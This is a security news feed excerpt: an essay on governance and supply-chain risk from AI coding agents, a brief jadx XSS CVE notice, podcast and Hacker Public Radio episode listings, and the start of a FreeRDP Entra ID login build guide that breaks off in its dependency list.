<p class="wp-block-paragraph">It all starts with a “pilot,” a “prototype,” or a “side project.” Maybe someone builds an internal dashboard with an agent. The dashboard quickly becomes indispensable, and all of a sudden the experiment becomes production. Along the way, no one thought to ask the boring, inconvenient questions: What exactly was pulled from npm, PyPI, or Docker Hub? How is (or was) authentication configured? Is anyone watching for supply chain attacks against the tools and libraries the agents chose?</p>



<p class="wp-block-paragraph">And it’s not just a one-off project here or a couple of applications there. AI is enabling organizations to generate more code and ship more products and projects, more quickly, than ever before. By the time security teams get a look, the business is hooked and there’s no turning back. An actual nightmare has begun.</p>



<p class="wp-block-paragraph">There are three major problems that make the nightmare real. </p>



<h2 class="wp-block-heading">Components you never explicitly chose</h2>



<p class="wp-block-paragraph">When you ask an AI agent to build an app, it doesn’t just spit out a single script. It quietly assembles an entire ecosystem around whatever problem you’ve described to it. It pulls in a web framework, grabs a bunch of libraries, stands up databases, and then it potentially builds everything on dependencies in container images.</p>



<p class="wp-block-paragraph">From a productivity perspective, this is awesome. However, from a security standpoint, it’s worrisome, to say the least. When I’ve built apps like this myself, I couldn’t begin to tell you all of the components that were being used unless I went back and asked the agent to explain itself.</p>



<p class="wp-block-paragraph">We live in a world where anyone can publish to npm or PyPI, and we’ve seen attackers slip malicious packages into those ecosystems or compromise ones that are widely used. Some of the recent incidents have involved security and devops tools themselves pulling a compromised dependency, running it as part of CI/CD with elevated privileges, and quietly exfiltrating secrets or tampering with builds. I personally experienced this type of compromise a couple of months ago, and had to update all of my credentials in GitHub.</p>



<p class="wp-block-paragraph">Pulling unvetted code is bad; now layer AI agents on top of that. They default to whatever is easiest to discover and integrate. If a package solves a problem in front of the agent, the agent will add it. This is the old “download a random library from the Internet” problem, but now it’s on autopilot, at scale, and moving at a pace we’ve never seen before.</p>



<p class="wp-block-paragraph">To solve this problem, we must provide the agents with an innate sense of our risk tolerance, an approved components list, our desires around logging, etc. We can do this with spec files and what the industry calls constitutions. Collectively, this is called harness engineering, which we will talk more about later.</p>



<h2 class="wp-block-heading">Skills shifting from code to architecture</h2>



<p class="wp-block-paragraph">There has been a lot of hand-wringing about <a href="https://www.infoworld.com/article/4065771/why-we-need-junior-developers.html" data-type="link" data-id="https://www.infoworld.com/article/4065771/why-we-need-junior-developers.html">whether junior developers</a> will ever <a href="https://www.infoworld.com/article/4152683/what-next-for-junior-developers.html" data-type="link" data-id="https://www.infoworld.com/article/4152683/what-next-for-junior-developers.html">really learn to code</a> if AI is doing all of their coding for them.</p>



<p class="wp-block-paragraph">That’s not what worries me.</p>



<p class="wp-block-paragraph">I think it’s fine to let an agent spit out code. It’s a job they are really good at. What they are not really good at is identifying and avoiding problems in code.</p>



<p class="wp-block-paragraph">I haven’t written code in quite some time. I can, but it doesn’t make sense for me to do so. What is worth my while is noticing when an agent suggests something dumb or even dangerous (or both).</p>



<p class="wp-block-paragraph">For example, while working on a recent personal project, an agent proposed exposing a memory server on the public Internet with no authentication. The agent wired things up so smoothly that, at first glance, everything looked fine and just worked. But then I paused and asked, “Wait, how is this actually authenticating? Where’s the password, secret token, or OAuth in this flow?” Turns out it wasn’t authenticating and there was no password. If I hadn’t taken that beat—and then argued with the agent for a while—the app would have gone live with no protection.</p>



<p class="wp-block-paragraph">So, the skills issue isn’t about whether we will lose the ability to code but rather whether we have the ability to ask questions and be discerning, and whether we have the understanding to know when something doesn’t look or even feel right. Do organizations have people who know what a dangerous software pattern looks like when the agent suggests it? You need people who can recognize when an authentication flow is too permissive, when a data store should never be exposed beyond a certain boundary, and when an architecture has become such a steaming pile of technical debt that the right answer is to throw away a whole layer and rebuild it.</p>



<p class="wp-block-paragraph">You need people who know that “what works” isn’t the same as “what’s safe” or “what’s right” and who can argue back with the agent when the former doesn’t line up with the latter.</p>



<p class="wp-block-paragraph">It’s not about syntax. It’s about architecture, supply chain awareness, and the willingness to say, “We’re tearing this down and doing it right,” even when the prototype looks good on the surface. Teach your AI-assisted coders basic security principles, basic architectural patterns. The AI will teach them the more advanced stuff, as long as they keep asking questions.</p>



<h2 class="wp-block-heading">Agents with no harness</h2>



<p class="wp-block-paragraph">The third problem is that we’ve unleashed some very capable agents into our development workflows without treating them like first-class actors that need governance.</p>



<p class="wp-block-paragraph">Many organizations are wiring AI assistants into a repo or IDE and letting them scaffold projects and pipelines. Maybe they bolt on a security scanner and declare “AI enablement.” That’s not a governance model, that’s optimism (and not even cautious optimism).</p>



<p class="wp-block-paragraph">Indeed, a code-generating agent with broad access to your repos, your CI/CD pipeline, and your artifact registries is effectively a hyper-productive and not-very-well-trained junior developer with access to the Internet and no ingrained sense of organizational policies. It can introduce new tools, new dependencies, and new patterns faster than your review processes can handle.</p>



<p class="wp-block-paragraph">In my personal projects, I’ve started to think of this as what AI coders call a harness-engineering problem. For every agent that’s responsible for building or wiring code, I try to put other agents in the loop that are responsible for tearing it down, at least conceptually. For example, one agent focuses on security and looks for obvious vulnerabilities and bad practices. Another looks at architecture and points out when the app design is veering into unmaintainable territory. A third looks at performance and reliability issues, which are themselves a kind of security concern when you think about things like denial of service and resource exhaustion. Pair this with constitutions that give the agents first principles on architecture, security, and design, and this is no longer vibe coding, it’s harness engineering at scale for all of your projects.</p>



<p class="wp-block-paragraph">What I am doing isn’t perfect; there is no perfect in this space, because these are non-deterministic, statistical tools. But, many organizations aren’t even doing this. In effect, their agents are freelancing. They’re vibe coding. They’re not constrained to trusted registries or hardened base images. They’re not required to log their decisions in a way that security can audit. No one owns the harness, and that means a lot of implementation decisions have fully shifted from humans to systems that no one is really watching.</p>



<h2 class="wp-block-heading">New problems require new thinking</h2>



<p class="wp-block-paragraph">The enterprise AI nightmare is not a killer robot; it’s the erosion of our ability to see and control what’s running in our own environments at the exact moment our velocity is exploding. The danger is in ceding your agency. It’s in shipping applications that internal and external customers love—and don’t want to give up—but inherently aren’t safe. Right now, someone in your organization is using AI to build a capable app, pulling in who knows what from who knows where and adding it to your infrastructure.</p>



<p class="wp-block-paragraph">The good news is that these problems are identifiable. They are also solvable, although it will take a new form of thinking than what solved problems in the past. You must think statistically, and declare constitutions with first principles. You can standardize trusted stacks and registries. You can retrain people around architectural security rather than just “secure coding.” You can start treating agent harnesses as systems that deserve design reviews and edits.</p>



<p class="wp-block-paragraph">But, none of that can happen until the enterprise is willing to admit that the nightmare is already here.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-42447 | skylot jadx up to 1.5.5 Summary tab SummaryNode.java perArchCount cross site scripting]]></title>
<description><![CDATA[A vulnerability marked as problematic has been reported in skylot jadx up to 1.5.5. The impacted element is an unknown function of the file SummaryNode.java of the component Summary tab. Performing a manipulation of the argument perArchCount results in basic cross site scripting.

This vulnerabil...]]></description>
<link>https://tsecurity.de/de/3700560/sicherheitsluecken/cve-2026-42447-skylot-jadx-up-to-155-summary-tab-summarynodejava-perarchcount-cross-site-scripting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700560/sicherheitsluecken/cve-2026-42447-skylot-jadx-up-to-155-summary-tab-summarynodejava-perarchcount-cross-site-scripting/</guid>
<pubDate>Mon, 03 Aug 2026 12:08:41 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">problematic</a> has been reported in <a href="https://vuldb.com/product/skylot:jadx">skylot jadx up to 1.5.5</a>. The impacted element is an unknown function of the file <em>SummaryNode.java</em> of the component <em>Summary tab</em>. Performing a manipulation of the argument <em>perArchCount</em> results in basic cross site scripting.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2026-42447">CVE-2026-42447</a>. It is possible to initiate the attack remotely. There is no exploit available.

It is suggested to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[AppSec, Shopify-Style; State of Mobile Security; the News - Kern Smith, Andrew Dunbar - ESW #470]]></title>
<description><![CDATA[Interview with Andrew Dunbar, CISO at Shopify After 13 years at Shopify, Andrew has some valuable insights to share on application security. In this episode, we discuss how AI has changed application security processes where bug bounty now fits in a post-Mythos, post-AI harness world. Andrew's Re...]]></description>
<link>https://tsecurity.de/de/3700526/it-security-nachrichten/appsec-shopify-style-state-of-mobile-security-the-news-kern-smith-andrew-dunbar-esw-470/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700526/it-security-nachrichten/appsec-shopify-style-state-of-mobile-security-the-news-kern-smith-andrew-dunbar-esw-470/</guid>
<pubDate>Mon, 03 Aug 2026 12:04:49 +0200</pubDate>
<content:encoded><![CDATA[<h3>Interview with Andrew Dunbar, CISO at Shopify</h3> <p>After 13 years at Shopify, Andrew has some valuable insights to share on application security. In this episode, we discuss how AI has changed application security processes where bug bounty now fits in a post-Mythos, post-AI harness world.</p> <p>Andrew's Resources:</p> <ul> <li><a rel="noopener" target="_blank" href="https://shopify.engineering/building-an-agentic-harness-that-outlasts-the-model"> https://shopify.engineering/building-an-agentic-harness-that-outlasts-the-model</a></li> </ul> <h3>Interview with Kern Smith</h3> <p>Kern Smith, VP of Global Solutions at Zimperium, joins us to talk about the state of mobile security. This was a great conversation, talking about the history of mobile devices in the enterprise and how challenging securing mobile apps is in the age of vibe-coding.</p> <p>Segment Resources</p> <ul> <li><a rel="noopener" target="_blank" href="https://zimperium.com/resources/new-zimperium-research-reveals-that-ai-based-attacks-are-targeting-and-succeeding-on-mobile"> https://zimperium.com/resources/new-zimperium-research-reveals-that-ai-based-attacks-are-targeting-and-succeeding-on-mobile</a></li> <li><a rel="noopener" target="_blank" href="https://lp.zimperium.com/hubfs/MAPS_MTD/REPORT/GEN/Global%20Mobile%20Threat%20Report%202026.pdf"> Global Mobile Threat Report 2026</a></li> </ul> <h3>Enterprise Security News</h3> <p>Finally, in the enterprise security news,</p> <ol> <li>Pre-black hat funding goes nuts</li> <li>we have 4 new cybersecurity unicorns!</li> <li>Cyera acquires Oasis for one BILLION dollars</li> <li>Lots of new product announcements with hacker summer camp next week</li> <li>Hugging Face got hacked by a competitor's agent and are cool with it?</li> <li>Finding out that wiping a burner phone is illegal the week before DEF CON is not ideal</li> <li>Are open, local models the future of AI?</li> <li>AI isn't coming for your job</li> <li>lots of vendor reports</li> <li>bad cybersecurity takes are apparently mainstream memes now???</li> </ol> <p>All that and more, on this episode of Enterprise Security Weekly.</p> <p>Visit <a rel="noopener" target="_blank" href="https://www.securityweekly.com/esw">https://www.securityweekly.com/esw</a> for all the latest episodes!</p> <p>Show Notes: <a rel="noopener" target="_blank" href="https://securityweekly.com/esw-470">https://securityweekly.com/esw-470</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4696: HPR Community News for July 2026]]></title>
<description><![CDATA[This show has been flagged as Explicit by the host.
New hosts  There were no new hosts this month.   Last Month's Shows    Id Day Date Title Host   4673 Wed 2026-07-01 First contact conversation Archer72   4674 Thu 2026-07-02 Audiobooks Ahuka   4675 Fri 2026-07-03 Yard Inflatables operat0r   4676...]]></description>
<link>https://tsecurity.de/de/3700418/podcasts/hpr4696-hpr-community-news-for-july-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700418/podcasts/hpr4696-hpr-community-news-for-july-2026/</guid>
<pubDate>Mon, 03 Aug 2026 10:27:26 +0200</pubDate>
<content:encoded><![CDATA[<p>This show has been flagged as Explicit by the host.</p>
<h2>New hosts</h2> <p> There were no new hosts this month. </p>  <h2>Last Month's Shows</h2>  <table> <tr> <th>Id</th> <th>Day</th> <th>Date</th> <th>Title</th> <th>Host</th> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4673/index.html" target="_blank">4673</a></strong></td> <td>Wed</td> <td class="shrink">2026-07-01</td> <td><a href="https://hackerpublicradio.org/eps/hpr4673/index.html" target="_blank">First contact conversation</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0318.html" target="_blank">Archer72</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4674/index.html" target="_blank">4674</a></strong></td> <td>Thu</td> <td class="shrink">2026-07-02</td> <td><a href="https://hackerpublicradio.org/eps/hpr4674/index.html" target="_blank">Audiobooks</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0198.html" target="_blank">Ahuka</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4675/index.html" target="_blank">4675</a></strong></td> <td>Fri</td> <td class="shrink">2026-07-03</td> <td><a href="https://hackerpublicradio.org/eps/hpr4675/index.html" target="_blank">Yard Inflatables</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0036.html" target="_blank">operat0r</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4676/index.html" target="_blank">4676</a></strong></td> <td>Mon</td> <td class="shrink">2026-07-06</td> <td><a href="https://hackerpublicradio.org/eps/hpr4676/index.html" target="_blank">HPR Community News for June 2026</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0159.html" target="_blank">HPR Volunteers</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4677/index.html" target="_blank">4677</a></strong></td> <td>Tue</td> <td class="shrink">2026-07-07</td> <td><a href="https://hackerpublicradio.org/eps/hpr4677/index.html" target="_blank">UNIX Curio #10 - Checksums and Hashes</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0459.html" target="_blank">Vance</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4678/index.html" target="_blank">4678</a></strong></td> <td>Wed</td> <td class="shrink">2026-07-08</td> <td><a href="https://hackerpublicradio.org/eps/hpr4678/index.html" target="_blank">High Resolution Elapsed Time in Shell Scripts</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0455.html" target="_blank">Whiskeyjack</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4679/index.html" target="_blank">4679</a></strong></td> <td>Thu</td> <td class="shrink">2026-07-09</td> <td><a href="https://hackerpublicradio.org/eps/hpr4679/index.html" target="_blank">HPR Beer Garden 15 - Double IPA</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0296.html" target="_blank">Kevie</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4680/index.html" target="_blank">4680</a></strong></td> <td>Fri</td> <td class="shrink">2026-07-10</td> <td><a href="https://hackerpublicradio.org/eps/hpr4680/index.html" target="_blank">Robert A. Heinlein: The Future History, Part 2</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0198.html" target="_blank">Ahuka</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4681/index.html" target="_blank">4681</a></strong></td> <td>Mon</td> <td class="shrink">2026-07-13</td> <td><a href="https://hackerpublicradio.org/eps/hpr4681/index.html" target="_blank">My Disabilities</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0441.html" target="_blank">Antoine</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4682/index.html" target="_blank">4682</a></strong></td> <td>Tue</td> <td class="shrink">2026-07-14</td> <td><a href="https://hackerpublicradio.org/eps/hpr4682/index.html" target="_blank">Behind the Keyboard: A Cybersecurity Operator’s Real-World Workflow</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0036.html" target="_blank">operat0r</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4683/index.html" target="_blank">4683</a></strong></td> <td>Wed</td> <td class="shrink">2026-07-15</td> <td><a href="https://hackerpublicradio.org/eps/hpr4683/index.html" target="_blank">Recording the hallway track</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0030.html" target="_blank">Ken Fallon</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4684/index.html" target="_blank">4684</a></strong></td> <td>Thu</td> <td class="shrink">2026-07-16</td> <td><a href="https://hackerpublicradio.org/eps/hpr4684/index.html" target="_blank">Sim Racing on the cheap!</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0036.html" target="_blank">operat0r</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4685/index.html" target="_blank">4685</a></strong></td> <td>Fri</td> <td class="shrink">2026-07-17</td> <td><a href="https://hackerpublicradio.org/eps/hpr4685/index.html" target="_blank">Listening to SSB stations in the early 1980s</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0461.html" target="_blank">Lennart Benschop</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4686/index.html" target="_blank">4686</a></strong></td> <td>Mon</td> <td class="shrink">2026-07-20</td> <td><a href="https://hackerpublicradio.org/eps/hpr4686/index.html" target="_blank">Debugging Security Cameras: Firmware Updates, Python Scripts and Windows Workarounds</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0036.html" target="_blank">operat0r</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4687/index.html" target="_blank">4687</a></strong></td> <td>Tue</td> <td class="shrink">2026-07-21</td> <td><a href="https://hackerpublicradio.org/eps/hpr4687/index.html" target="_blank">UNIX Curio #11 - Merging Files</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0459.html" target="_blank">Vance</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4688/index.html" target="_blank">4688</a></strong></td> <td>Wed</td> <td class="shrink">2026-07-22</td> <td><a href="https://hackerpublicradio.org/eps/hpr4688/index.html" target="_blank">Downloading Podcasts with a Shell Script</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0455.html" target="_blank">Whiskeyjack</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4689/index.html" target="_blank">4689</a></strong></td> <td>Thu</td> <td class="shrink">2026-07-23</td> <td><a href="https://hackerpublicradio.org/eps/hpr4689/index.html" target="_blank">Cheap Yellow Display Project Part 8: Writing the code </a></td> <td><a href="https://hackerpublicradio.org/correspondents/0394.html" target="_blank">Trey</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4690/index.html" target="_blank">4690</a></strong></td> <td>Fri</td> <td class="shrink">2026-07-24</td> <td><a href="https://hackerpublicradio.org/eps/hpr4690/index.html" target="_blank">Playing Civilization V, Part 14</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0198.html" target="_blank">Ahuka</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4691/index.html" target="_blank">4691</a></strong></td> <td>Mon</td> <td class="shrink">2026-07-27</td> <td><a href="https://hackerpublicradio.org/eps/hpr4691/index.html" target="_blank">Viva la Coda</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0403.html" target="_blank">Lee</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4692/index.html" target="_blank">4692</a></strong></td> <td>Tue</td> <td class="shrink">2026-07-28</td> <td><a href="https://hackerpublicradio.org/eps/hpr4692/index.html" target="_blank">Noise Music Tutorial 2: Using Audacity to Make Noise</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0354.html" target="_blank">TheDUDE</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4693/index.html" target="_blank">4693</a></strong></td> <td>Wed</td> <td class="shrink">2026-07-29</td> <td><a href="https://hackerpublicradio.org/eps/hpr4693/index.html" target="_blank">Amateur Radio Field Days</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0318.html" target="_blank">Archer72</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4694/index.html" target="_blank">4694</a></strong></td> <td>Thu</td> <td class="shrink">2026-07-30</td> <td><a href="https://hackerpublicradio.org/eps/hpr4694/index.html" target="_blank">HPR Beer Garden 16 - Belgian Blonde</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0296.html" target="_blank">Kevie</a></td> </tr> <tr> <td><strong><a href="https://hackerpublicradio.org/eps/hpr4695/index.html" target="_blank">4695</a></strong></td> <td>Fri</td> <td class="shrink">2026-07-31</td> <td><a href="https://hackerpublicradio.org/eps/hpr4695/index.html" target="_blank">Try not to buy a phone</a></td> <td><a href="https://hackerpublicradio.org/correspondents/0036.html" target="_blank">operat0r</a></td> </tr> </table>  <h2>Comments this month</h2>  <h3>Past shows</h3> <ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4644/index.html#comments" target="_blank">hpr4644</a></strong> (2026-05-21) "<em>Response to comments on HPR4424: Newsboat...</em>" by <a href="https://hackerpublicradio.org/correspondents/0318.html" target="_blank">Archer72</a>.<br></li> <ul> <li><strong>Archer72</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4644/index.html#comment_4779" target="_blank">Ken on Community Show HPR4676</a></em>" (2026-07-06 13:48:39)<br></li> <li><strong>Ken Fallon</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4644/index.html#comment_4780" target="_blank">hpr3962 :: It's your data</a></em>" (2026-07-06 15:07:47)<br></li> </ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4669/index.html#comments" target="_blank">hpr4669</a></strong> (2026-06-25) "<em>HPR Beer Garden 14 - Super Strong Lager</em>" by <a href="https://hackerpublicradio.org/correspondents/0296.html" target="_blank">Kevie</a>.<br></li> <ul> <li><strong>The_Dud3</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4669/index.html#comment_4789" target="_blank">Favorite Malt Liquores/Super Strong Lagers</a></em>" (2026-07-22 02:07:59)<br></li> </ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4672/index.html#comments" target="_blank">hpr4672</a></strong> (2026-06-30) "<em>Hey Mum, I'm on Spotify ! </em>" by <a href="https://hackerpublicradio.org/correspondents/0030.html" target="_blank">Ken Fallon</a>.<br></li> <ul> <li><strong>Archer72</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4672/index.html#comment_4782" target="_blank">Another great show!</a></em>" (2026-07-08 09:46:44)<br></li> </ul> </ul> <h3>This month's shows</h3> <ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4674/index.html#comments" target="_blank">hpr4674</a></strong> (2026-07-02) "<em>Audiobooks</em>" by <a href="https://hackerpublicradio.org/correspondents/0198.html" target="_blank">Ahuka</a>.<br></li> <ul> <li><strong>The Librarian</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4674/index.html#comment_4778" target="_blank">Ook ?</a></em>" (2026-07-02 10:50:38)<br></li> </ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4677/index.html#comments" target="_blank">hpr4677</a></strong> (2026-07-07) "<em>UNIX Curio #10 - Checksums and Hashes</em>" by <a href="https://hackerpublicradio.org/correspondents/0459.html" target="_blank">Vance</a>.<br></li> <ul> <li><strong>xmanmonk</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4677/index.html#comment_4781" target="_blank">Another great show</a></em>" (2026-07-07 21:17:41)<br></li> <li><strong>candycanearter07</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4677/index.html#comment_4783" target="_blank">cool show :D</a></em>" (2026-07-08 11:32:04)<br></li> <li><strong>Vance</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4677/index.html#comment_4784" target="_blank">Thanks, and systemd as a future topic</a></em>" (2026-07-09 01:50:23)<br></li> <li><strong>Vance</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4677/index.html#comment_4787" target="_blank">Sorry, xmanmonk</a></em>" (2026-07-12 03:20:02)<br></li> </ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4678/index.html#comments" target="_blank">hpr4678</a></strong> (2026-07-08) "<em>High Resolution Elapsed Time in Shell Scripts</em>" by <a href="https://hackerpublicradio.org/correspondents/0455.html" target="_blank">Whiskeyjack</a>.<br></li> <ul> <li><strong>candycanearter07</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4678/index.html#comment_4785" target="_blank">cool ep</a></em>" (2026-07-09 14:38:32)<br></li> <li><strong>Whiskeyjack</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4678/index.html#comment_4786" target="_blank">Reply to candycanearter07 on HPR4678</a></em>" (2026-07-09 22:48:47)<br></li> </ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4681/index.html#comments" target="_blank">hpr4681</a></strong> (2026-07-13) "<em>My Disabilities</em>" by <a href="https://hackerpublicradio.org/correspondents/0441.html" target="_blank">Antoine</a>.<br></li> <ul> <li><strong>Archer72</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4681/index.html#comment_4790" target="_blank">Reading</a></em>" (2026-07-22 13:43:46)<br></li> </ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4684/index.html#comments" target="_blank">hpr4684</a></strong> (2026-07-16) "<em>Sim Racing on the cheap!</em>" by <a href="https://hackerpublicradio.org/correspondents/0036.html" target="_blank">operat0r</a>.<br></li> <ul> <li><strong>Jim DeVore </strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4684/index.html#comment_4793" target="_blank">Great episode!</a></em>" (2026-07-28 03:43:23)<br></li> </ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4685/index.html#comments" target="_blank">hpr4685</a></strong> (2026-07-17) "<em>Listening to SSB stations in the early 1980s</em>" by <a href="https://hackerpublicradio.org/correspondents/0461.html" target="_blank">Lennart Benschop</a>.<br></li> <ul> <li><strong>Lucinda</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4685/index.html#comment_4788" target="_blank">Thank you</a></em>" (2026-07-21 10:53:42)<br></li> </ul> <li><strong><a href="https://hackerpublicradio.org/eps/hpr4688/index.html#comments" target="_blank">hpr4688</a></strong> (2026-07-22) "<em>Downloading Podcasts with a Shell Script</em>" by <a href="https://hackerpublicradio.org/correspondents/0455.html" target="_blank">Whiskeyjack</a>.<br></li> <ul> <li><strong>candycanearter07</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4688/index.html#comment_4791" target="_blank">cool solution</a></em>" (2026-07-22 23:14:22)<br></li> <li><strong>Whiskeyjack</strong> said: "<em><a href="https://hackerpublicradio.org/eps/hpr4688/index.html#comment_4792" target="_blank">Response to candycanearter07 in HPR4688</a></em>" (2026-07-23 19:14:55)<br></li> </ul> </ul> <h2>Mailing List discussions</h2> <p>Policy decisions surrounding HPR are taken by the community as a whole. This discussion takes place on the <a href="https://lists.hackerpublicradio.com/mailman/listinfo/hpr" target="_blank">Mailing List</a> which is open to all HPR listeners and contributors. The discussions are open and available on the HPR server under <a href="https://lists.hackerpublicradio.com/pipermail/hpr">Mailman</a>. </p> <p>The threaded discussions this month can be found here:</p> <a href="https://lists.hackerpublicradio.com/pipermail/hpr/2026-July/thread.html" target="_blank">https://lists.hackerpublicradio.com/pipermail/hpr/2026-July/thread.html</a>  <h2>Events Calendar</h2> <p>With the kind permission of <strong>LWN.net</strong> we are linking to <a href="https://lwn.net/Calendar/" target="_blank">The LWN.net Community Calendar</a>.</p> <p>Quoting the site:</p> <blockquote>This is the LWN.net community event calendar, where we track events of interest to people using and developing Linux and free software. Clicking on individual events will take you to the appropriate web page.</blockquote> <!-- HPRCN:month=2026-07,latest_comment=4793,latest_host=461,latest_episode=4695 --><p><a href="https://hackerpublicradio.org/eps/hpr4696/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Connecting to an Azure Join Windows Machine Using Web Authentication From Linux]]></title>
<description><![CDATA[Got native Entra ID (AAD) webview login working with FreeRDP on Fedora/Nobara — full writeup Wanted to share this since it took some digging to get right. Background: I wanted to RDP from my Linux desktop into an Entra ID-joined Windows 11 box using modern auth (Conditional Access, MFA, the works...]]></description>
<link>https://tsecurity.de/de/3700364/linux-tipps/connecting-to-an-azure-join-windows-machine-using-web-authentication-from-linux/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700364/linux-tipps/connecting-to-an-azure-join-windows-machine-using-web-authentication-from-linux/</guid>
<pubDate>Mon, 03 Aug 2026 10:26:04 +0200</pubDate>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><h1>Got native Entra ID (AAD) webview login working with FreeRDP on Fedora/Nobara — full writeup</h1> <p>Wanted to share this since it took some digging to get right. Background: I wanted to RDP from my Linux desktop into an Entra ID-joined Windows 11 box using modern auth (Conditional Access, MFA, the works) — basically the Linux equivalent of checking "Use a web account to sign in" in <code>mstsc.exe</code>.</p> <p>The distro-packaged <code>freerdp</code> (3.29/3.30 from Fedora's repos) supports the AAD auth flow, but it's built <em>without</em> the native in-app login popup — you get a URL printed to the terminal instead, and you have to manually copy the redirect URL back in after signing in through your normal browser. Functional, but clunky, and in my case actually broken by my org's Conditional Access policy behavior.</p> <p>Here's what it took to get the real in-app popup working.</p> <h2>The problem with the stock package</h2> <p>Checking the build config on the distro package:</p> <p><code> xfreerdp /buildconfig | tr ' ' '\n' | grep -i webview </code></p> <p>showed <code>WITH_WEBVIEW=OFF</code>. That flag controls whether FreeRDP's SDL client can pop up a native browser window for the AAD sign-in, instead of the manual copy/paste flow.</p> <h2>Step 1 — Install build dependencies</h2> <p>``` sudo dnf install cmake ninja-build gcc-c++ git \</p> <p>systemd-devel libuuid-devel pulseaudio-libs-devel \</p> <p>libXrandr-devel gsm-devel pam-devel fuse3-devel \</p> <p>opus-devel lame-devel openssl-devel libX11-devel \</p> <p>libXext-devel libXinerama-devel libXcursor-devel \</p> <p>libXi-devel libXdamage-devel libXv-devel libxkbfile-devel \</p> <p>alsa-lib-devel openh264-devel libavcodec-free-devel \</p> <p>libavformat-free-devel libavutil-free-devel \</p> <p>libswresample-free-devel libswscale-free-devel \</p> <p>libusb1-devel uriparser-devel SDL2-devel SDL2_ttf-devel \</p> <p>pkcs11-helper-devel krb5-devel cjson-devel cairo-devel \</p> <p>soxr-devel wayland-devel wayland-protocols-devel \</p> <p>cups-devel webkitgtk6.0-devel ```</p> <p>Two things worth calling out specifically:</p> <ul> 